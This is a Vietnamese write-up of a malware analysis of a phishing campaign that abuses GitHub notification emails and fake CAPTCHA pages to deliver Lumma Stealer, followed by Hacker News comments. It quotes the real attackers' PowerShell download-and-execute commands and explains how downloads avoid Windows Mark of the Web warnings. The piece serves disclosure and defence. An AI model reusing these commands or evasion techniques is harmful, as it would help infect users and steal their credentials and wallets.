- Kẻ tấn công lợi dụng luồng thông báo hợp lệ của kho lưu trữ công khai để gửi thông điệp độc hại trông như email do GitHub thực sự gửi đến chủ sở hữu kho lưu trữ
- Vì kẻ tấn công có thể định hình phần lớn nội dung email, việc chỉ kiểm tra người gửi và liên kết khiến rất khó xác định đó có phải phishing hay không
- Khi bấm vào liên kết, một trang CAPTCHA giả xuất hiện, dụ người dùng dán lệnh PowerShell vào hộp thoại Run của Windows, từ đó bắt đầu tải mã độc
- Tệp được tải xuống bằng .NET
System.Net.WebClient.DownloadFile của PowerShell nên không bị gắn Mark of the Web, qua đó có thể tránh cảnh báo chữ ký của Windows
- Payload cuối cùng liên quan đến mã độc bị nhiều phần mềm chống virus trên VirusTotal phát hiện là LUMMASTEALER, thuộc nhóm stealer nhắm vào thông tin đăng nhập, ví tiền mã hóa và dữ liệu nhạy cảm
Luồng tấn công sử dụng email thông báo GitHub
- Chủ sở hữu kho lưu trữ công khai thường nhận email thông báo từ GitHub về các hoạt động như issue, bình luận, Pull Request
- Kẻ tấn công lạm dụng hệ thống thông báo hợp lệ này theo trình tự sau
- Tạo một issue trong kho lưu trữ công khai bằng tài khoản GitHub dùng một lần
- Nhanh chóng xóa issue đó
- Chủ sở hữu kho lưu trữ nhận email thông báo do GitHub gửi
- Khi người nhận bấm vào liên kết trong email, họ được chuyển đến trang độc hại
- Nếu làm theo hướng dẫn, hệ thống sẽ bị nhiễm mã độc
- Nội dung email thực tế nói rằng đã phát hiện lỗ hổng bảo mật và hãy xem thêm thông tin tại
github-scanner[.]com, đồng thời mạo danh “Github Security Team”
Vì sao email trông đáng tin
- Email là thông báo do GitHub thực sự gửi, nên vượt qua được phần lớn các bước kiểm tra phishing thông thường
- Người gửi email là GitHub
- Liên kết trong nội dung dẫn đến đúng đích được hiển thị
- Chỉ dựa vào các phần email không do kẻ tấn công kiểm soát thì khó đánh giá tình huống thực tế
- Việc một issue mới đã được tạo không được thể hiện đủ rõ trong email
- Kẻ tấn công có thể tạo bối cảnh mong muốn bằng văn bản trong nội dung
- Email thông báo của GitHub có thể được cải thiện theo các hướng sau để giảm hiệu quả tấn công
- Cung cấp thêm ngữ cảnh về hành động nào đã khiến email được gửi
- Giảm tỷ trọng nội dung do kẻ tấn công kiểm soát
- Cải thiện độ rõ ràng về người gửi email
- Email này và các mối lo ngại đã được chuyển đến GitHub Security thực tế
CAPTCHA giả và thực thi PowerShell
- Khi đi theo liên kết trong email, một trang trông giống CAPTCHA được hiển thị
- Yêu cầu chứng minh là người bằng CAPTCHA có thể không xa lạ với người dùng do các thử thách tự động của những dịch vụ như Cloudflare
- Trang này không phải CAPTCHA chọn hình ảnh thông thường, mà yêu cầu mở hộp thoại Run của Windows và dán lệnh vào
- Lệnh giai đoạn 1 được đưa vào clipboard sẽ mở một cửa sổ PowerShell ẩn, tải xuống và thực thi một script từ xa
powershell.exe -w hidden -Command "iex (iwr '[https://]2x[.]si/DR1.txt').Content" # "✅ ''I am not a robot - reCAPTCHA Verification ID: 93752"
iex là bí danh của Invoke-Expression, còn iwr là bí danh của Invoke-WebRequest- Nó hoạt động theo kiểu tương tự chạy
curl | bash trên Linux
- Phần chú thích ở cuối lệnh che đi phần đầu do giới hạn kích thước của hộp thoại Run trên Windows, khiến người dùng thấy nó như một câu xác nhận CAPTCHA
Tải xuống giai đoạn 2 và né cảnh báo Windows
- Script được tải xuống sẽ tải
github-scanner[.]com/l6E.exe, lưu vào thư mục tạm với tên SysSetup.exe rồi thực thi
$webClient = New-Object System.Net.WebClient
$url1 = "[https://]github-scanner[.]com/l6E.exe";
$filePath1 = "$env:TEMP\SysSetup.exe"
$webClient.DownloadFile($url1, $filePath1)
Start-Process -FilePath $env:TEMP\SysSetup.exe
- Tệp thực thi có chữ ký số, nhưng chữ ký của binary độc hại không hợp lệ
- Chữ ký trông như đến từ Spotify, nhưng sau khi trao đổi với DigiCert, nó được kết luận là chữ ký bị giả mạo, không phải chứng chỉ bị đánh cắp
- Windows xác định một tệp có được tải từ Internet hay không bằng cờ Mark of the Web(MOTW)
- Trình duyệt và các công cụ tương tự có thể đặt cờ này cho tệp tải xuống
- Phần mềm như Office có thể thay đổi hành vi dựa trên cờ này
- Nếu tải cùng tệp thực thi bằng trình duyệt, Windows sẽ cảnh báo về chữ ký không hợp lệ
- Trong luồng của nạn nhân, tệp được tải bằng .NET Framework
System.Net.WebClient.DownloadFile của PowerShell thay vì trình duyệt
- Phương thức này không đặt cờ MOTW cho tệp tải xuống
- Windows chỉ hiển thị cảnh báo thực thi chữ ký số không hợp lệ khi có MOTW
- Vì MOTW có thể bị gỡ bỏ dễ dàng, cách dựa vào cờ này là không an toàn
- Hai điểm yếu liên quan của Windows đã được báo cáo cho Microsoft
Phân tích loader và payload cuối cùng
- Tệp thực thi có dấu vết liên quan đến .NET trong Ghidra nên được phân tích bằng dotPeek
- Luồng chính nằm ở entry point và phương thức
PersonalActivation
- Entry point ẩn cửa sổ console
- Gọi
PersonalActivation hai lần trong một thread nền
- Đánh dấu vùng bộ nhớ là có thể thực thi bằng
VirtualProtect
- Thực thi bằng
CallWindowProcW
PersonalActivation nhận một danh sách không được sử dụng và hai mảng byte
- Mảng thứ nhất có vẻ là buffer dữ liệu
- Mảng thứ hai được đánh dấu là
key
- Nó thực hiện nhiều phép toán, trông giống một routine giải mã
- Khi chú thích hóa các lệnh gọi
VirtualProtect và CallWindowProcW rồi kiểm tra buffer đã giải mã trong debugger
- Buffer thứ nhất chứa
CreateProcessA, VirtualAlloc, GetThreadContext, ReadProcessMemory, WriteProcessMemory, SetThreadContext, ResumeThread và các chuỗi khác
- Đường dẫn
C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe cũng xuất hiện
- Buffer thứ hai có dạng tệp thực thi Windows với header
MZ, PE
- Loader đưa exe “đã mã hóa” nằm trong mảng byte lớn ở phía trên vào bộ nhớ, đánh dấu nó là có thể thực thi rồi chạy
Phát hiện Lumma Stealer và công cụ sử dụng
- Giai đoạn cuối là một Windows exe không phải .NET, nên việc phân tích thêm chỉ bằng đầu ra Ghidra bị hạn chế
- Hai binary đã bị nhiều phần mềm chống virus trên VirusTotal phát hiện
- Trong tên phát hiện, mẫu LUMMASTEALER xuất hiện phổ biến
- Lumma là một trong các hoạt động mã độc dạng “malware as a service”
- Mã stealer tìm ví tiền mã hóa, thông tin đăng nhập đã lưu và dữ liệu nhạy cảm
- Dữ liệu thu thập được gửi về máy chủ điều khiển (C2)
- Sau đó có thể dẫn đến đánh cắp tiền hoặc bán dữ liệu
- Mã độc Lumma thường không có xu hướng mã hóa thiết bị nạn nhân như ransomware truyền thống
- Tài liệu bổ sung được khuyến nghị về Lumma là bài viết chiến thuật, tác động và chiến lược phòng thủ của Lumma Stealer của Cyfirma
- Các công cụ được sử dụng trong phân tích là Windows Sandbox, Ghidra, dotPeek, HxD, Visual Studio
1 bình luận
Ý kiến trên Hacker News
Thật không biết có ai thực sự mắc kiểu lừa đảo này không
Trước hết, chỉ nhìn ảnh chụp màn hình thì chưa rõ, nhưng nếu giả sử tác giả biết email đến từ GitHub, thì dấu hiệu cảnh báo đầu tiên là nó dẫn tới github-scanner.com, một biến thể của tên miền thật
Nếu không biết github-scanner.com thuộc về ai, thì chỉ riêng việc nó trông giống một trang thật có vẻ hợp lý cũng đủ để xem là lừa đảo cho an toàn
Dấu hiệu cảnh báo cực lớn là CAPTCHA lại bảo nhập lệnh vào shell, và tôi không còn gì để nói về việc phải ngây thơ đến mức nào mới chạy cái đó
Không ai hoàn hảo, và càng có nhiều yếu tố tạo lòng tin thì tỷ lệ chuyển đổi càng có khả năng tăng
Nếu thị lực kém, bị thúc ép thời gian, hoặc đang mệt mỏi kiệt sức, thì ngay cả những đối tượng vốn khó bị lừa cũng có thể dễ bị lừa hơn
Nếu có thể tự động hóa ở quy mô lớn, tỷ lệ chuyển đổi thấp vẫn có thể dẫn đến nhiều tài khoản bị chiếm đoạt
Nó trông không khác mấy việc thiết lập khóa SSH, và người dùng mới thực sự sẽ trải qua luồng sao chép rồi dán các lệnh mà GitHub gửi cho họ
Rõ ràng đó hẳn là malware, nên tôi lập tức xóa bình luận rồi báo cáo tài khoản với GitHub
Tôi thì sẽ không mắc kiểu trò lộ liễu như vậy, nhưng người đặt câu hỏi ban đầu, xét theo lịch sử hoạt động trên GitHub và chất lượng câu hỏi, có vẻ không phải người rành kỹ thuật
Nếu đang trong trạng thái muốn thử mọi thứ thật nhanh mà không nhìn nhận một cách phê phán, họ có thể đã bị lừa
Citi và PayPal cũng làm vậy trong một số email, lần nào cũng gây khó chịu
Tháng trước, tại một hội nghị, CEO của một công ty an ninh mạng có bài phát biểu chính, nói rằng trong một số trường hợp hiện vẫn có hơn 80% người dùng mắc lừa email, nên cần thêm tiền
Điều tôi nghiêm túc hỏi diễn giả là: nếu đã tiêu hàng triệu đô la và gần 25 năm mà hơn 80% người dùng vẫn nhấp vào liên kết sai, thì có phải chúng ta đang làm sai điều gì đó ở mức căn bản không
Gần đây tôi nhận được một email còn thuyết phục hơn nhiều từ PayPal
Ai đó gửi một báo giá, có vẻ là tính năng có thể dùng mà không cần yêu cầu trước, và họ đặt tên công ty kiểu như “PayPal cần liên hệ với bạn về khoản thanh toán $499.00 gần đây, hãy gọi +1-...”
Vì vậy, do câu “gửi cho bạn báo giá $xxx” trong email báo giá của PayPal, tên công ty đó chiếm phần lớn văn bản ở phía trên
Email này thực sự đến từ PayPal.com, và tôi không hiểu vì sao một công ty xử lý thanh toán vẫn chưa chặn được vấn đề tên người dùng kiểu này
Tôi đã báo cáo nhưng không nhận được phản hồi, và họ cần cấm toàn bộ những tên như vậy chứ không chỉ riêng tài khoản đó
Định dạng cũng trông đúng như một email PayPal hợp pháp, và tôi nghĩ người bình thường sẽ mắc bẫy này khá nhiều
Nếu muốn xem email, hãy liên hệ qua website trong hồ sơ của tôi
Khi đăng nhập PayPal thì trên website không hiển thị gì cả
Nếu cần gì đó, họ nên tự gọi trực tiếp, viết nội dung trong email, hoặc hiển thị trong cổng thông tin
Ngoài lý do bảo mật, bất kỳ ai từng động tới HTML 5 phút cũng có thể tạo ra một email “trông như thật”
Win+R, CTRL+V
Từ CAPTCHA dẫn thẳng đến cái bẫy
Nếu là lập trình viên junior thì có vẻ cũng có thể mắc lừa. Kiểu như: “Vì là GitHub nên chắc hợp lệ nhỉ? Cảnh báo bảo mật thư viện bên mình dùng cũng hai tháng lại gửi một lần mà”
Cũng có thể họ sẽ nghĩ: “Ồ, CAPTCHA giải bằng cách chạy code à, lạ thật!”
Không nên để trang web chỉ bằng một cú nhấp là có thể đưa nội dung vào clipboard; cần có phần xem trước nội dung
Có lẽ họ nghĩ yêu cầu một hành động của người dùng như nhấp chuột là đủ để giải quyết, nhưng như vậy vẫn quá yếu, và đây là vấn đề thứ nhất
Mọi người cần ngừng việc chạy nguyên xi các liên kết trong email hoặc tin rằng nội dung email có tính chính danh. Bản thân nội dung email không có tính chính danh, và đây là vấn đề thứ hai
Thứ ba, Windows vẫn còn cho phép một dòng PowerShell chiếm quyền máy ở mức quyền root như vậy sao?
GitHub cũng có thể cần ngăn không cho đưa vào issue các liên kết mà một dịch vụ tự động từ xa chưa xác nhận là nội dung hợp pháp
Họ đang gửi những thứ này qua email cho mọi người, nên đừng nói là không biết nó có thể bị dùng để phishing. Ngay cả theo chuẩn năm 2015 thì đây cũng là kiến thức nhập môn an ninh mạng
Cuối cùng, nếu GitHub không làm được các biện pháp trên, họ nên loại bỏ nhiều nội dung hơn trong email gửi cho người dùng và chỉ gửi kiểu ngân hàng: “Kho lưu trữ này có issue mới...”
Khi đó người dùng vào xem sẽ thấy không có tin nhắn nào, và chuyện đã kết thúc ở đó. Có vẻ GitHub cần trưởng thành hơn một chút trong vụ này
Tôi nghĩ cần đào tạo mọi người đúng cách về những gì có hại
Còn về Windows, ít nhất hai nhân viên đã yêu cầu được chuyển khỏi Windows. Tôi sẽ cố hết sức; đây là dự án kéo dài đã lâu nhưng cuối cùng sẽ làm được
Biểu tượng khiên trong ảnh chụp hộp thoại “Run” cho thấy rõ đây là người dùng có quyền quản trị và UAC đã bị tắt
Nếu vậy thì đến lượt chúng ta phải khóc rằng Linux cũng để một dòng
curl malware.zyx/evilscript | bashchiếm quyền root thôiChiến lược clipboard cũng có vẻ đáng ra phải dễ chặn. Phần lớn kẻ lừa đảo chỉ thuyết phục nạn nhân qua điện thoại tự gõ một URL được ngụy trang kỹ vào hộp thoại Run mà thôi
Đúng vậy, tôi là người dùng Windows gấp 10 lần
Chúng ta có thể đối xử với Windows như “root” vì chúng ta chính là root; cụ thể là vì tài khoản người dùng mà quá trình cài đặt Windows tạo ra đầu tiên luôn là tài khoản quản trị viên
Đó là ưu điểm. Ta có thể làm điều mình muốn trên chiếc máy tính mình sở hữu và sử dụng
Trong thời đại hệ điều hành ngày càng bị khóa chặt, khiến người dùng không thể thật sự sở hữu và quản lý máy tính của mình, Windows đơn giản là cho phép điều đó
Xin đừng bao giờ thay đổi điểm này
Tóm lại là đừng nhấp vào liên kết trong email
github-scanner.com và github-scanner.shop vẫn thuộc cùng một tác nhân độc hại à? Có vẻ vậy
Buồn cười là DNS lại nằm trên Cloudflare. Cloudflare nổi tiếng với câu “chúng tôi không host gì cả”, nhưng có vẻ họ coi tất cả chúng ta là đồ ngốc
Có vẻ cũng không có cách nào để báo cáo kiểu lạm dụng này cho Cloudflare, nơi không chịu bất kỳ trách nhiệm nào
Tên miền 2x.si host malware dùng DNS của Cloudflare và cũng được host trên Cloudflare
Ít nhất cái này thì có thể báo cáo cho Cloudflare, nhưng biểu mẫu báo cáo lạm dụng lại giới hạn tốc độ đối với con người và còn bắt làm CAPTCHA
Chỉ biết thở dài. Nhờ Cloudflare mà ngày nay việc phishing và host malware trở nên quá dễ dàng
Theo kinh nghiệm từng làm việc với cả hai bên của tôi là vậy
Trên trang đó có loại lạm dụng để chọn là Phishing & Malware
Đây giống lời càu nhàu hơn là bình luận bảo mật nghiêm túc, nhưng tôi luôn thấy khó chịu khi tiêu chí trượt bài kiểm tra phishing là “nhấp vào bất kỳ liên kết nào trong email”
Thực ra trọng tâm chẳng phải là họ có nhập thông tin đăng nhập vào trang phishing, hoặc tải xuống rồi mở file hay không sao?
Tôi hiểu rằng dạy người dùng không chuyên kỹ thuật hoàn toàn không nhấp vào liên kết xấu thì dễ hơn, và lỗ hổng trình duyệt cũng tồn tại, nhưng vẫn thấy có gì đó phiền phức
Tôi đã thấy nhiều bài kiểu này cuối cùng kết thúc bằng việc người dùng nhập thông tin đăng nhập, cấp quyền kỳ lạ cho trình duyệt, tải file xuống, hoặc như lần này là chạy lệnh
Tôi gần như chưa từng thấy trường hợp kết thúc bằng “nhấp vào liên kết rồi trình duyệt dính 0-day và thế là xong”
Trình duyệt web có bề mặt tấn công rộng, nhưng đồng thời cũng là công cụ được tạo ra để duyệt Internet
Phần lớn mọi người khi làm việc hoặc nghiên cứu đều nhấp vào liên kết khá vô tư
Cần phòng thủ theo chiều sâu, nhưng một chính sách bảo mật lấy “tuyệt đối không truy cập website độc hại” làm nguyên tắc cốt lõi thì có vẻ khá khiếm khuyết
Thay vào đó có cách dùng Qubes OS, chỉ mở liên kết trong máy ảo dùng một lần, và không nhập thêm thông tin nào khác
Khi nhận mail xác nhận địa chỉ email cho tài khoản mới, tôi thường làm như vậy
Không phải lúc nào cũng tránh được việc nhấp liên kết mà
Khi đọc đoạn “kẻ tấn công nhanh chóng xóa issue”, tôi nhận ra mình chưa từng xóa issue do mình tạo
Nhưng chẳng phải chỉ người có quyền quản trị mới có thể xóa issue trong repository sao? https://docs.github.com/en/issues/tracking-your-work-with-issues/deleting-an-issue
Nếu vậy thì thực tế vẫn còn dấu vết của issue đó trong repository, và pull request cũng tương tự
Lập luận rằng email không cho biết nó tương ứng với một issue mới là sai
Dòng “(Issue #1)” trong tiêu đề chính xác có nghĩa như vậy
Tôi cũng đã thực sự nhận được email tương tự, và nhận ra ngay rằng một issue mới đã được tạo trong repository
Người dùng này rõ ràng không quen với GitHub Issues, như việc đây là issue đầu tiên của repository cũng cho thấy
Có lẽ GitHub cần hướng dẫn người dùng mới tốt hơn
Những người như vậy thật sự rất dễ bị lừa
Người làm kỹ thuật có thể nhận ra, nhưng điều đó không phải là lý do miễn trừ để GitHub không cần làm tốt hơn
Sáng nay tôi nhận được một thông báo kiểu này và lập tức bỏ qua
Điều buồn cười là mục tiêu lại chính là repository này: https://github.com/kyledrake/theftcoinjs
Bài đáng đọc. Nó cho thấy những kẻ tấn công đang cố làm gì
Chỉ nhìn liên kết thôi cũng dễ thấy đáng ngờ, nhưng xem ai đó đào sâu vào quá trình này cũng khá thú vị
Sáng nay tôi đăng một lỗi lên repository GitHub, và chưa đầy 1 phút sau có người trả lời đại loại như thế này
“Hãy thử cái này. Có vẻ sẽ sửa được vấn đề. Nếu cần trình biên dịch thì hãy cài GCC”
Sau đó là một liên kết Bitly chuyển hướng tới file zip trên MediaFire kèm mật khẩu
GitHub đã xử lý báo cáo lạm dụng của tôi trong vòng một giờ và xóa toàn bộ bài đăng của người dùng đó
Trời ạ, tôi cũng đang nhận được email thông báo GitHub tương tự
Nội dung nói rằng đã phát hiện lỗ hổng trong repository, và trước khi đọc tin này tôi không hề nghĩ đó là giả
Dù vậy, vì là lập trình viên lười nên tôi đã không bấm vào. Viết một lần là xong; code thì có thể viết lại, nhưng tôi không đi tìm và sửa bug trong code của mình
Đây là tính năng GitHub dùng để thông báo các lỗ hổng bảo mật trong dependency của dự án
Ví dụ, nếu bạn dùng Python và khai báo thư viện
requeststrongrequirements.txt, GitHub sẽ gửi email thông báo các lỗ hổng đã được công bố của thư viện đó và khuyến nghị nâng lên phiên bản cao hơn đã được sửa